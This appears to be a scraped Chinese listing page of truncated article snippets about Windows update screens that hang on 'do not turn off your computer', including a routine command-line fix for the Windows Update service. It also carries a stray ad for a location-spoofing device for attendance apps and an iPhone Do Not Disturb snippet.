Win7系统开机启动时总是出现“配置Windows请勿关机”的提示,没过几秒后电脑自动重启,每次开机都这样无法进入系统,此时碰到这种现象的用户就可以使用以下5种方法解决问题。方法一:开机按下F8,在出现的Windows高级启动选…...
2022/11/19 21:17:12 - 准备windows请勿关闭计算机要多久,windows10系统提示正在准备windows请勿关闭计算机怎么办...
有不少windows10系统用户反映说碰到这样一个情况,就是电脑提示正在准备windows请勿关闭计算机,碰到这样的问题该怎么解决呢,现在小编就给大家分享一下windows10系统提示正在准备windows请勿关闭计算机的具体第一种方法:1、2、依次…...
2022/11/19 21:17:11 - 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”的解决方法...
今天和大家分享一下win7系统重装了Win7旗舰版系统后,每次关机的时候桌面上都会显示一个“配置Windows Update的界面,提示请勿关闭计算机”,每次停留好几分钟才能正常关机,导致什么情况引起的呢?出现配置Windows Update…...
2022/11/19 21:17:10 - 电脑桌面一直是清理请关闭计算机,windows7一直卡在清理 请勿关闭计算机-win7清理请勿关机,win7配置更新35%不动...
只能是等着,别无他法。说是卡着如果你看硬盘灯应该在读写。如果从 Win 10 无法正常回滚,只能是考虑备份数据后重装系统了。解决来方案一:管理员运行cmd:net stop WuAuServcd %windir%ren SoftwareDistribution SDoldnet start WuA…...
2022/11/19 21:17:09 - 计算机配置更新不起,电脑提示“配置Windows Update请勿关闭计算机”怎么办?
原标题:电脑提示“配置Windows Update请勿关闭计算机”怎么办?win7系统中在开机与关闭的时候总是显示“配置windows update请勿关闭计算机”相信有不少朋友都曾遇到过一次两次还能忍但经常遇到就叫人感到心烦了遇到这种问题怎么办呢?一般的方…...
2022/11/19 21:17:08 - 计算机正在配置无法关机,关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机...
关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!关机提示 windows7 正在配…...
2022/11/19 21:17:05 - 钉钉提示请勿通过开发者调试模式_钉钉请勿通过开发者调试模式是真的吗好不好用...
钉钉请勿通过开发者调试模式是真的吗好不好用 更新时间:2020-04-20 22:24:19 浏览次数:729次 区域: 南阳 > 卧龙 列举网提醒您:为保障您的权益,请不要提前支付任何费用! 虚拟位置外设器!!轨迹模拟&虚拟位置外设神器 专业用于:钉钉,外勤365,红圈通,企业微信和…...
2022/11/19 21:17:05 - 配置失败还原请勿关闭计算机怎么办,win7系统出现“配置windows update失败 还原更改 请勿关闭计算机”,长时间没反应,无法进入系统的解决方案...
前几天班里有位学生电脑(windows 7系统)出问题了,具体表现是开机时一直停留在“配置windows update失败 还原更改 请勿关闭计算机”这个界面,长时间没反应,无法进入系统。这个问题原来帮其他同学也解决过,网上搜了不少资料&#x…...
2022/11/19 21:17:04 - 一个电脑无法关闭计算机你应该怎么办,电脑显示“清理请勿关闭计算机”怎么办?...
本文为你提供了3个有效解决电脑显示“清理请勿关闭计算机”问题的方法,并在最后教给你1种保护系统安全的好方法,一起来看看!电脑出现“清理请勿关闭计算机”在Windows 7(SP1)和Windows Server 2008 R2 SP1中,添加了1个新功能在“磁…...
2022/11/19 21:17:03 - 请勿关闭计算机还原更改要多久,电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机怎么办...
许多用户在长期不使用电脑的时候,开启电脑发现电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机。。.这要怎么办呢?下面小编就带着大家一起看看吧!如果能够正常进入系统,建议您暂时移…...
2022/11/19 21:17:02 - 还原更改请勿关闭计算机 要多久,配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以...
配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!配置windows update失败 还原更改 请勿关闭计算机&#x…...
2022/11/19 21:17:01 - 电脑配置中请勿关闭计算机怎么办,准备配置windows请勿关闭计算机一直显示怎么办【图解】...
不知道大家有没有遇到过这样的一个问题,就是我们的win7系统在关机的时候,总是喜欢显示“准备配置windows,请勿关机”这样的一个页面,没有什么大碍,但是如果一直等着的话就要两个小时甚至更久都关不了机,非常…...
2022/11/19 21:17:00 - 正在准备配置请勿关闭计算机,正在准备配置windows请勿关闭计算机时间长了解决教程...
当电脑出现正在准备配置windows请勿关闭计算机时,一般是您正对windows进行升级,但是这个要是长时间没有反应,我们不能再傻等下去了。可能是电脑出了别的问题了,来看看教程的说法。正在准备配置windows请勿关闭计算机时间长了方法一…...
2022/11/19 21:16:59 - 配置失败还原请勿关闭计算机,配置Windows Update失败,还原更改请勿关闭计算机...
我们使用电脑的过程中有时会遇到这种情况,当我们打开电脑之后,发现一直停留在一个界面:“配置Windows Update失败,还原更改请勿关闭计算机”,等了许久还是无法进入系统。如果我们遇到此类问题应该如何解决呢࿰…...
2022/11/19 21:16:58 - 如何在iPhone上关闭“请勿打扰”
Apple’s “Do Not Disturb While Driving” is a potentially lifesaving iPhone feature, but it doesn’t always turn on automatically at the appropriate time. For example, you might be a passenger in a moving car, but your iPhone may think you’re the one dri…...
2022/11/19 21:16:57